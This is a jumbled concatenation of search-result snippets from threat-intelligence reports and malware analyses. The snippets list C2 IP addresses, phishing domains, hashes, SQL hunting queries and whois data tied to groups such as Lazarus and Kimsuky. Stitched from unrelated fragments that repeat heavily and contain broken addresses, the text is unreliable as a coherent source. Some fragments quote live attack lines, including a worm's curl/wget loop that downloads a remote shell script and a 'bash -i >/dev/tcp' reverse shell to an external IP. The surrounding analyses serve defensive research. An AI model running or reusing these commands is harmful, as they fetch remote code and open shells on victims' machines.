128.201.64.194 23.254.144.139 209 .208.109.38 59.120.122.35 145.108.194.10 140.117.91.22…","…182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248…","…182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4…","…185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4 212.30.37.180…","…185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4 212.30.37.180 212.30.37.214…","…185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4 212.30.37.180 212.30.37.214 212.30.37.30…","…○ AutoIt 스크립트의 경우 변종에 따라 복수의 형태가 확인됐는데, C2 주소는 ' 62.113.118.157 ' 주소와 ' 192.109.119.113 ' 2개가 식별됐습니다.…","…IP 116.202.99.218 192.109.119.113 212.118.52.168 38.180.148.108 62.113.118.157 77.246.101.72 77.246.108.96 89.110.83.245 91.107.208.93 93.183.93.185 94.103.87.212…","…phishing domains are structurally and thematically similar to those previously resolved by the initial IP address 104.168.151.116 . 192.119.116.231 > 1/94 detection The observed phishing domains show strong structural and thematic resemblance to domains previously resolved…","…malware WHERE ( ip = '104.168.198.145' OR ip = '23.254.164.50' OR ip = '192.236.146.20' OR ip = '142.11.209.109' OR ip = '192.119.116.231' OR ip = '192.236.233.162' OR ip = '192.236.176.164' OR ip = '192.236.236.100' OR ip = '192.236.146.22' OR ip = '23.254.128.114'…","…and gumi-cryptos.us05web-zoom.pro IP address 104.168.151.116 Resolved IP for firstfromsep.online IP Address 192.119.116.231 Resolved IP for firstfromsep.online IP Address 192.236.146.22 Resolved IP for writeup.live IP Address 142.11.241.62…","…/tp-globa.xyz/OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC http://swissborg.blog/zxcv/bnm 23.254.226.90 104.168.214.151 142.11.209.144 192.119.64.43 File paths…","…in an attempt to appear more legitimate to the victims of the intrusion. tp-globa.xyz , as of this writing, resolves to an IP address ( 192.119.64.43 ) that has been observed distributing malware attributed to the DPRK’s Lazarus Group ( 1 , 2 , 3 ). 23.254.226.90 23.254.226.90 is the…","…\"type\": \"domain-name\"}}} {\"threat\": {\"indicator\": {\"description\": \"Simple indicator of observable {192.119.64.43}\", \"ip\": [\"192.119.64.43\"], \"marking\": {\"tlp\": \"clear\"}, \"reference\":…","…appleplus.sbs 22 2053 2083 2086 2087 2096 8880 185.239.2.170 IR Web Dadeh Paydar Co (Ltd) N/A ulta.appleplus.store 22 192.121.17.63 NL EDIS GmbH N/A ulta.appleplus.store N/A 185.239.0.39 IR Web Dadeh Paydar Co (Ltd) N/A ulta.appleplus.store x2 N/A 159.253.4.70 NL…","…filetrasfer.wuaze.com goldenftp.rf.gd plaza.xo.je gabber.42web.io humimianserver.kesug.com drone.ct.ws 46.4.112.56 192.144.34.77 192.144.34.40 34.203.111.164 223.16.184.105 GO UP BACK TO ALL POSTS POPULAR…","…& IPs: filetrasfer.wuaze.com goldenftp.rf.gd plaza.xo.je gabber.42web.io humimianserver.kesug.com drone.ct.ws 46.4.112.56 192.144.34.77 192.144.34.40 34.203.111.164 223.16.184.105 GO UP BACK TO ALL POSTS…","…PurpleInk 2eb9c6722139e821c2fe8314b356880be70f3d19d8d2ba530adc9f466ffc67d8 Network IOCs 67.213.221.6 192.145.127.190 45.9.251.14 199.229.250.142 Share this post Related Content…","…link the NPO Mashinostroyeniya email discussing suspicious networking communication as active C2 communications occurring through 192.169.7.197 , and 5.134.119.142 .…","…poisoning BLOCK / MONITOR 5 159.223.59.200 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 6 192.177.131.13 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 7 94.154.42.149 PHP web shell tooling / upload…","…08.177.127.95:443(TCP) 108.177.96.138:443(TCP) 142.251.31.138:443(TCP) 173.194.69.94:443(TCP) 173.194.79.94:443(TCP) 173.194.79.95:443(TCP) 192.178.27.195:443(TCP) 192.178.49.195:443(TCP) 239.255.255.250:1900(UDP) 34.104.35.123:80(TCP) 34.87.124.238:443(TCP) 63.250.38.85:443(TCP) 74.125.143.94…","…08.177.96.138:443(TCP) 142.251.31.138:443(TCP) 173.194.69.94:443(TCP) 173.194.79.94:443(TCP) 173.194.79.95:443(TCP) 192.178.27.195:443(TCP) 192.178.49.195:443(TCP) 239.255.255.250:1900(UDP) 34.104.35.123:80(TCP) 34.87.124.238:443(TCP) 63.250.38.85:443(TCP) 74.125.143.94:443(TCP) 8.8.8.8:53(UDP…","…145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122 197.51.50.158 140.136.134.201 185.45.28.182 203.151.166.13 104.168.137.213 88.204.166.59…","…70.39.103.3 66.187.75.186 104.223.86.8 100.21.104.112 23.95.182.5 78.141.223.50 116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196 45.82.250.186 162.19.3.23 144.217.92.197 23.29.115.171 167.114.188.40 91.234.199.179…","…[그림 8] 한국어 기반으로 설정된 악성 문서 파일 ■ 유사 위협 케이스 비교 및 침해지표(IoC) 자료 hta 파일을 이용한 공격은 다양한 사례들이 발견되고 있는데, 특히 '(seoulhobi.biz / 192.186.142.74)' C2를 이용한 경우가 다수 포착되었습니다.…","…Hak Hyun rninchurl@daum.n et rnail-inbox.com 27.255.77.111 (KR) Start New h snewstart1013@gmail.com seoulhobi.biz 192.186.142.74 (UK) N/A snow8949@hotmail.com nidhelpnaver.com 37.72.175.223 (US) Jane Jhone snow8949@hotmail.com ■ 결론 국내외 많은 위협 인텔리전스 분석가들은…","…6B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS http[://]104.155.149.103/2-443.ps1 http[://]104.155.149.103/8080.ps1 http[://]104.155.149.1…","…IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS http[://]104.155.149.103/2-443.ps1 http[://]104.155.149.103/8080.ps1…","…[US] 54.86.50.139 [US] 192.186.3.160 [US] 159.100.13.216 [DE] 34.198.205.50 [US] 79.133.56.173 [DE] 67.211.213.224 [US]…","…Nexeon Technologies, Inc. 64.188.19.117 United States ASN8100 QuadraNet Enterprises LLC 74.121.190.121 United States ASN23033 Wowrack.com 192.210.213.178 United States ASN36352 ColoCrossing 209.90.234.34 United States ASN23033 Wowrack.com 198.180.198.6 United States ASN26658 HT URL…","…ID Random 24-bit number Internal version number 3.1.1 (0x030101) Timeout 20 minutes C2 addresses 108.170.31.81:443 192.210.239.122:443 111.90.146.105:443 Disk path or URL of plugin (up to 15) to be loaded on start Not used in this malware The orchestrator…","…(TCP) 17.253.20.253:123 (UDP) 17.253.7.207:443 (TCP) 17.32.194.2:443 (TCP) 17.36.203.0:443 (TCP) 184.25.164.143:443 (TCP) 192.229.211.108:80 (TCP) 23.33.241.186:443 (TCP) 23.47.64.173:443 (TCP) 23.47.64.24:443 (TCP) 23.55.60.32:443 (TCP) 54.80.119.162:443…","…(TCP) 185.15.59.224:80 (TCP) 185.26.182.103:443 (TCP) 185.26.182.103:80 (TCP) 185.26.182.109:80 (TCP) 185.26.182.118:80 (TCP) 192.229.221.95:80 (TCP) 2.18.66.170:443 (TCP) 2.22.5.73:443 (TCP) 2.23.161.155:443 (TCP) 2.23.161.155:80 (TCP) 209.140.135(.0)138:443…","…SELECT ip, port, malware.name FROM malware WHERE ( ip = '104.168.198.145' OR ip = '23.254.164.50' OR ip = '192.236.146.20' OR ip = '142.11.209.109' OR ip = '192.119.116.231' OR ip = '192.236.233.162' OR ip = '192.236.176.164' OR ip = '192.236.236.100'…","…OR ip = '192.119.116.231' OR ip = '192.236.233.162' OR ip = '192.236.176.164' OR ip = '192.236.236.100' OR ip = '192.236.146.22' OR ip = '23.254.128.114' OR ip = '192.236.233.165' OR ip = '104.168.151.116' ) AND timestamp gt '2025-01-01' GROUP BY ip,…","…Resolved IP for firstfromsep.online IP Address 192.119.116.231 Resolved IP for firstfromsep.online IP Address 192.236.146.22 Resolved IP for writeup.live IP Address 142.11.241.62 Resolved IP for safeup.store IP Address 23.254.247.53 Resolved IP for…","…URL http://152.89.247.57:52390/ http://172.93.201.248:52390/ http://172.93.201.248:8083/ http://192.236.154.125:50108/ http://209.127.37.40:52390/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…URL http://152.89.247.57:52390/ http://172.93.201.248:52390/ http://172.93.201.248:8083/ http://192.236.154.125:50108/ http://209.127.37.40:52390/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For…","…= '23.254.164.50' OR ip = '192.236.146.20' OR ip = '142.11.209.109' OR ip = '192.119.116.231' OR ip = '192.236.233.162' OR ip = '192.236.176.164' OR ip = '192.236.236.100' OR ip = '192.236.146.22' OR ip = '23.254.128.114' OR ip = '192.236.233.165' OR ip = '104.168.151.116'…","…142.11.241.62 Resolved IP for safeup.store IP Address 23.254.247.53 Resolved IP for support.us05web-zoom.pro IP Address 192.236.198.31 Resolved IP for dataupload.store MITRE ATT&CK Techniques & Attack Flow Phase Technique ID Technique Name…","…2024-08-23 2024-09-23 JavaScript en.stockslab.org 91.103.140.191 2024-08-19 2024-09-12 Python update.jquerycloud.io 192.236.199.57 2024-07-03 2024-08-22 JavaScript cdn.soccerlab.io 146.70.124.70 2024-08-07 2024-08-21 Python api.coinpricehub.io…","…= '104.168.198.145' OR ip = '23.254.164.50' OR ip = '192.236.146.20' OR ip = '142.11.209.109' OR ip = '192.119.116.231' OR ip = '192.236.233.162' OR ip = '192.236.176.164' OR ip = '192.236.236.100' OR ip = '192.236.146.22' OR ip = '23.254.128.114' OR ip = '192.236.233.165'…","…'192.236.233.162' OR ip = '192.236.176.164' OR ip = '192.236.236.100' OR ip = '192.236.146.22' OR ip = '23.254.128.114' OR ip = '192.236.233.165' OR ip = '104.168.151.116' ) AND timestamp gt '2025-01-01' GROUP BY ip, port, malware.name Copy Output example: Fig.…","…'192.236.146.20' OR ip = '142.11.209.109' OR ip = '192.119.116.231' OR ip = '192.236.233.162' OR ip = '192.236.176.164' OR ip = '192.236.236.100' OR ip = '192.236.146.22' OR ip = '23.254.128.114' OR ip = '192.236.233.165' OR ip = '104.168.151.116' ) AND timestamp gt…","…185.62.58.74 2024-05-08 2024-06-23 Python skypredict.org 80.82.77.80 2024-05-06 2024-06-16 JavaScript api.bitzone.io 192.248.145.210 2024-04-25 2024-05-13 Python weatherdatahub.org 194.15.112.200 2024-04-05 2024-05-03 JavaScript api.ethzone.io…","…these features. Starting with the banner hash b21405ce3c3456214ad8fc5263eeabb1 , we find a third domain, getcoinprice.info , hosted on 192.248.167.90 , around the same time that getstockprice.info was in use. Figure 7.…","…Indicators of Compromise Command and Control Servers 107.172.195.20 192.3.12.154 46.21.147.161 Tags Malware | Endpoints | Cyber Crime | Research…","…Indicators of Compromise(IOCs) and Detections Network [ C2 Communications] 31.186.8.221, 103.227.176.20, 192.35.177.64, 51.255.16.98. Att&ck IDs T1129, T1085, T1085, T1012 . Att&ck Mitre Techniques Sample from Report Torisma: Md5:…","…128.201.64.194 23.254.144.139 209 .208.109.38 59.120.122.35 145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122 197.51.50.158 140.136.134.201…","…azuredeploypackages.net Unknown, connection seen via injected process net.ip 144.172.74.120 Fast Reverse Proxy server net.ip 192.52.166.253 Used as parameter for Quasar file.path %TEMP%\\tmpntl.dat Windows keylogger output file path file.path C:\\Windows\\Temp\\TMP01.dat…","…43 usweb0l.us 2026-03-23 02:36:19 148.72.73.98 26496 GoDaddy NameSilo, LLC 44 micrlive.online 2026-03-23 01:22:21 192.64.119.144 22612 Namecheap, Inc.…","…[3] 2026-03-31 12:16:01 172.86.91.195 14956 RouterHosting NameSilo, LLC 25 ms-meeting.us 2026-03-30 13:34:12 192.64.119.167 22612 Namecheap, Inc.…","…to domains previously resolved By pivoting on each domain we got another 4 IPs 140.82.20.246 156.154.132.200 198.57.247.218 192.64.119.169 140.82.20.246 > 10/94 detection 156.154.132.200 > 2/94 detection 198.57.247.218 > 1/94 detection…","…2025-12-19 08:17:21 192.64.119.93 22612 NAMECHEAP-NET NAMECHEAP INC 155 ms-live.site[1][2] 2025-12-16 14:52:56 192.64.119.22 22612 NAMECHEAP-NET NAMECHEAP INC 156 ms-teams.xyz 2025-12-11 09:37:07 162.255.119.95 22612 Namecheap, Inc.…","…NameSilo, LLC 79 www-live.us 2026-03-04 22:06:45 192.64.119.220 22612 Namecheap, Inc.…","…NameSilo, LLC 82 www-live.xyz 2026-03-03 09:37:43 192.64.119.249 22612 Namecheap, Inc.…","…2021-07-01 18:14:52 91.195.240.123 47846 SEDO-AS SEDO GmbH NameSilo, LLC 162 os-live.com[2] 2020-10-26 01:23:24 192.64.119.29 22612 Namecheap, Inc.…","…2026-02-12 16:54:09 91.195.240.123 47846 SEDO-AS SEDO GmbH NameSilo, LLC 104 us05webszoom.us 2026-02-12 13:08:11 192.64.119.40 22612 Namecheap, Inc.…","…NAMECHEAP INC 80 microshlop.com 2026-03-04 16:02:52 192.64.119.5 22612 Namecheap, Inc.…","…NAMECHEAP INC 150 ww-live.xyz 2026-01-29 08:34:20 192.64.119.88 22612 Namecheap, Inc.…","…NAMECHEAP INC 154 ms-meet.xyz[1][2] 2025-12-19 08:17:21 192.64.119.93 22612 NAMECHEAP-NET NAMECHEAP INC 155 ms-live.site[1][2] 2025-12-16 14:52:56 192.64.119.22 22612 NAMECHEAP-NET…","…A Few Notes on the PowerShell Backdoor MD5 Used: b12325a1e6379b213d35def383da2986 (ICAS.ps1) C2: 192.95.14.128 As previously mentioned, this blog will not be publishing a full analysis of this backdoor in deference to the people who first found it;…","…(iconcache.db) Domains (4) agarwalpropertyconsultants.com anca-aste.it automercado.co.cr curiofirenze.com IPs (4) 192.99.20.39 199.79.63.24 51.68.152.96 54.241.91.49 Findings 586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e Tags downloade…","…on port 443 with encoded data. 192.99.20.39 Whois Queried whois.arin.net with \"n 192.99.20.39\"... NetRange: 192.99.0.0 - 192.99.255.255 CIDR: 192.99.0.0/16 NetName: OVH-ARIN-7 NetHandle: NET-192-99-0-0-1 Parent: NET192 (NET-192-0-0-0-0) NetType: Direct Allocation…","…행위 - 스마트기기내 연락처 탈취 - 음성 녹취 및 실행앱 정보 수집 - 문자메시지(SMS) 탈취 - 클립보드 내용, 키로깅 정보 수집 - 각종 앱 및 디바이스 정보 수집 - 앱설치/제거 등 다양한 C2 명령 수행 (193.148.16.45) / 일본(JP) 대표적인 기능 몇가지만 살펴보면, 안드로이드 기반 스마트폰의 문자메시지 정보를 수집시도 합니다.…","…37.72.175.223 KakaoTalk.apk app.project.appcheck 2019/03/31 20:14:07 Jhon 6c290d6ddbe317844a4dccdc2259c6c1 193.148.16.45 KakaoTalk.apk com.android.update 2019/09/17 21:49:53 Henry 2487a29d1193b5f48d29df02804d8172 2.56.151.8…","…Domains Resolution on 08-10-2028 to 193.160.31.10 Domaines résolus le 08/10/28 vers 193.160.31.10 DHL DPD ARAMEX waybilltrack.xyz…","…High - IP 170.205.30.27 High - IP 193.160.32.10 High - IP 193.160.32.188 High - IP 65.110.40.18 High - IP 170.205.28.251 High - IP…","…High - IP 65.110.40.18 High - IP 170.205.28.251 High - IP 193.160.32.243 High - IP 208.84.100.64 High - IP 23.137.104.77 High - Domain…","…of strings related the capabilities of PureLand : stealing! % strings - PureLand/Installer.app/Contents/MacOS/Installer http://193.168.141.107:8888/ /Library/Application Support/Google/Chrome/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn/ /Library/Application…","…daedong.or.kr kcnp.or.kr kosic.or.kr wstore.lt xkclub.hk C2 IPv4 Addresses 103.224.82.154 180.67.205.101 182.70.113.138 193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208…","…131.226.2.120:443 Attacker IP IP Address 37.120.247.180:443 Attacker IP IP Address 88.119.175.208:443 Attacker IP IP Address 193.233.171.58 Attacker IP IP Address 193.233.85.234 Attacker IP User-Agent distrib#kali.2024 Indicates use of Kali Linux, tied to ExpressVPN usage…","…37.120.247.180:443 replaydreary.com, 88.119.175.208:443 coreladao.com cdn.clubinfo.io Attacker IPs: 193.233.171.58 193.233.85.234 Attacker GitHub Usernames:…","…Address 37.120.247.180:443 Attacker IP IP Address 88.119.175.208:443 Attacker IP IP Address 193.233.171.58 Attacker IP IP Address 193.233.85.234 Attacker IP User-Agent distrib#kali.2024 Indicates use of Kali Linux, tied to ExpressVPN usage VPN Provider ExpressVPN Used to…","…37.120.247.180:443 replaydreary.com, 88.119.175.208:443 coreladao.com cdn.clubinfo.io Attacker IPs: 193.233.171.58 193.233.85.234 Attacker GitHub Usernames: https://github.com/mariaauijj https://github.com/patriciauiokv https://github.com/lauraengmp Attacker…","…child_process.exec() to run shell commands. Secondary C2 infrastructure The worm reveals a second C2 server: const SHELL_URL = 'http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh' ; Server Role Port 91.215.85.42 Primary C2 (recon, credentials) 3000…","…payload: sh -c echo <base64>|base64 -d|bash When decoded, this reveals a persistent download loop: while :; do (curl -sL http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh -o ./s.sh 2>/dev/null || \\ wget -qO ./s.sh http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh…","…118.140.97.6 190.216.219.247 201.26.209.137 14.161.14.196 220.132.191.110 92.42.54.184 182.180.143.39 193.251.27.90 (NOTE: These are just some of the collected IoCs that have been confirmed.…","…in with a server located at http://owpqkszz.info/link.php , the code within the run.sh script creates an interactive remote shell to 193.37.212.176 : 1 scre = ` screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212.176/25733 0>&1' ` 2 echo \"scre - $scre )\" >> /tmp/loglog We also…","…2024-06-27 ScoringMathTea C&C server: https://galaterrace.com/wp-content/themes/hello-elementor/includes/functions.php 193.39.187.165 ecudecode.mx Heymman Servers Corporation 2025-05-14 ScoringMathTea C&C server:…","…The malware contains a hard-coded URL from which to download the additional code (193.56.28.103). BUFFETLINE BUFFETLINE is a full, beacon-style, implant with RAT-like functionality.…","…. Submitted Files (1) 606c6000f36dc69fefc6df828e1ac9c5529a71a62b99f5df55463606c4c9689c (mega.exe.exe) IPs (1) 193.56.28.103 Findings 606c6000f36dc69fefc6df828e1ac9c5529a71a62b99f5df55463606c4c9689c Tags downloadertrojan Details Name…","…fcom1.gif http[://]64.188.27.73/board/pct.gif http[://]64.188.27.73/board/logo_adm_org.gif http[://]64.188.27.73/board/tour_upt.html IPs 193.56.28.251 52.202.193.124 64.188.27.73 151.106.2.139 66.154.102.91 Share this post…","…method for strings where 0x30 is subtracted from the hex value of each character, such that the string “aic^ef^bi^abc0” is decoded to 193.56.29.123.…","…SHA256 : 26a2fa7b45a455c311fd57875d8231c853ea4399be7b9344f2136030b2edc4aa Domain name (compromised): curiofirenze.com IP Address : 193.70.64.163 File : %USERPROFILE%”\\AppData\\Local\\Microsoft\\ThumbNail\\thumnail.db File : %APPDATA% \\Microsoft\\Windows\\Start…","…2024-10-12 2024-11-01 Python en.stocksindex.org 185.236.231.224 2024-09-11 2024-10-04 Python cdn.jqueryversion.net 194.11.226.16 2024-08-23 2024-09-23 JavaScript en.stockslab.org 91.103.140.191 2024-08-19 2024-09-12 Python update.jquerycloud.io…","…(KR) Annie Cho bitcoin018@hanmail.net rnaeil.com 188.241.58.61 (RO) Annie Cho bitcoin018@hanmail.net rnailm.com 194.124.34.62 (JP) Annie Cho bitcoin025@hanmail.net naerver.com 27.102.106.122 (KR) Annie Cho bitcoin025@hanmail.net rnaii.com…","…2024-05-06 2024-06-16 JavaScript api.bitzone.io 192.248.145.210 2024-04-25 2024-05-13 Python weatherdatahub.org 194.15.112.200 2024-04-05 2024-05-03 JavaScript api.ethzone.io 91.234.199.90 2024-04-16 2024-04-24 Python api.fivebit.io…","…185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4 212.30.37.180 212.30.37.214 212.30.37.30 S/2024/215…","…188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4 212.30.37.180 212.30.37.214 212.30.37.30 S/2024/215 24-02094…","…The domain is registered with NameCheap at the IP address 194.36.191.196 with ASN 60117. Relationship Summary [Redacted] Downloaded_By ants2whale.com [Redacted] Contains…","…191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4 212.30.37.180 212.30.37.214 212.30.37.30 S/2024/215 24-02094 568 / 615…","…191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4 212.30.37.180 212.30.37.214 212.30.37.30 S/2024/215 24-02094 568 / 615 Annex 98:…","…191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4 212.30.37.180 212.30.37.214 212.30.37.30 S/2024/215 24-02094 568 / 615 Annex 98: Kimsuky email…","…191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68 194.5.48.71 194.5.53.248 194.5.83.4 212.30.37.180 212.30.37.214 212.30.37.30 S/2024/215 24-02094 568 / 615 Annex 98: Kimsuky email addresses,…","…error logs during this period show primarily scanning activity: [Thu May 22 00:03:52.272207 2025] [php7:error] [pid 3432462] [client 194.50.16.252:34028] script ‘/var/www/html/app_dev.php’ not found or unable to stat [Thu May 22 00:03:56.071016 2025] [php7:error] [pid 3432464] [client…","…2026 LAC Co., Ltd. Infrastructures 36 94.103.87.212 93.183.93.185 Custom Lilith RAT Hosting technology LTD 91.107.208.93 23.254.225.184 194.68.27.204 GSRAT 116.202.99.218 38.180.249.56 Hetzner Online GmbH M247 Europe SRL 62.113.118.157 • The threat actor abuses WordPress-based web…","…2024-10-30 2024-11-11 Python cdn.logoeye.net 54.39.83.151 2024-10-29 2024-11-03 Python en.wfinance.org 195.133.26.32 2024-10-12 2024-11-01 Python en.stocksindex.org 185.236.231.224 2024-09-11 2024-10-04 Python cdn.jqueryversion.net…","…Example host response from 195.133.26.32 , which returned a Sectigo certificate for two subdomains of wfinance.org . These additional domain names and IP addresses are:…","…112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194…","…175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 8…","…310ebb7ca19ff9b75d4054c340b0c82e ca9cb7bb06398670abc6d19186c336cd C&C 158.247.250.251 95.214.54.164 161.248.239.119 195.177.94.43 147.135.109.226 158.247.240.40 Mutex Xilnulmx Ncppn User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64)…","…- 195.22.237.54 - 201.236.103.27 - 72.68.158.37 그리고 다음과 같은 'Content-Type: multipart/form-data' 헤더를 사용합니다.…","…fa87911771a52e3c1ffb1c39da59540c C2 45.150.109.102 85.155.224.59 103.153.65.67 111.92.246.145 169.197.85.174 195.250.24.113 Domain argeninese.dothome.co.kr argentinese.medianewsonline.com bbcnews04.dothome.co.kr bwer5t6kl.getenjoyment.net…","…URL http://195.50.242.110:8080/ http://beebeep.info/index.php http://www.jikji.pe.kr/xe/files/attach/binaries/102/663/image.gif AhnLab TIP 를 구독하시면…","…Xctdoor (******.***.Common.RegEx.dll) – 11465d02b0d7231730f3c4202b0400b8: Xctdoor (******.***.Common.RegEx.dll) C&C Server Addresses – 195.50.242.110:8080: HotCroissant – http://beebeep.info/index.php: Xctdoor Download URL –…","…48.242:443 85.137.56.161:443 92.242.187.214:443 185.66.91.112:443 213.111.146.132:443 185.254.198.90:443 78.141.211.155:443 45.11.59.99:443 195.66.213.5:443 45.11.59.184:443 213.111.148.202:10443 Associated domains and SAN names…","…144.172.117.143 143.117.172.144.static.cloudzy.com 172.86.89.213 213.89.86.172.static.cloudzy.com 172.86.91.195 195.91.86.172.static.cloudzy.com 45.61.163.100 100.163.61.45.static.cloudzy.com 45.61.163.113 113.163.61.45.static.cloudzy.com 45.61.163.43…","…machine and installs it as a service. The FALLCHILL sample found by the cyber security organization had two default C2 server addresses: 196.38.48.121 – South Africa Internet Solutions, AS3741 185.142.236.226 – Netherlands Amsterdam Blackhost Ltd ISP, AS174 Cogent Communications The C2…","…2012 unidentified 1031 43459f5117bee7b49f2cee7ce934471e01fb2aa2856f230943460e14e19183a6 XOR YES YES jennifer998.lookin.at, 196.44.49.154 2014 South Korea 0919-1 dfa1ad6083aa06b82edfa672925bb78c16d4e8cb2510cbe18ea1cf598e7f2722 RC4 NO YES…","…in 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 (described below) 14.139.200.107 197.211.212.31 199.180.148.134 110.45.145.103 217.117.4.110 61.106.2.96 175.100.189.174…","…ddresses 110.45.145.103 114.215.130.173 119.29.11.203 124.248.228.30 139.196.55.146 14.139.200.107 175.100.189.174 181.119.19.100 197.211.212.31 199.180.148.134 217.117.4.110 61.106.2.96 Introducing McAfee+ Identity theft protection and privacy for your…","…113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147…","…14.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.…","…were attempted during analysis. 197.211.212.59 Tags command-and-control Ports 443 TCP Whois inetnum: 197.211.208.0 - 197.211.215.255 netname: ZOL-16e-MOBILE-CUSTOMERS descr: ZOL Customers on ZTE Mobile WiMAX Platform country: ZW admin-c: BS10-AFRINIC admin-c:…","…GJ1-AFRINIC tech-c: JHM1-AFRINIC status: ASSIGNED PA mnt-by: LIQUID-TOL-MNT source: AFRINIC # Filtered parent: 197.211.192.0 - 197.211.255.255 person: B Siwela address: 3rd Floor Greenbridge South address: Eastgate Center address: R.…","…23.254.144.139 209 .208.109.38 59.120.122.35 145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122 197.51.50.158 140.136.134.201 185.45.28.182…","…202.39.61.57 192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122 197.51.50.158 140.136.134.201 185.45.28.182 203.151.166.13 104.168.137.213 88.204.166.59 URL s (Hardcoded IP…","…apars-surgery.org KR AS3786 LG DACOM Corporation 160.153.142.0 akramportal.org NL AS21501 Host Europe GmbH 198.133.183.67 bootcamp-coders.cnm.edu US AS4869 Central New Mexico Community College 166.62.39.82 clicktocareers.com US AS26496…","…111.90.146.105:443 111.90.148.132:443 172.81.132.41:443 172.93.184.62:443 172.93.201.219:443 185.62.58.207:443 192.210.239.122:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:443 23.227.199.69:443 23.254.119.12:443 67.43.239.146:443 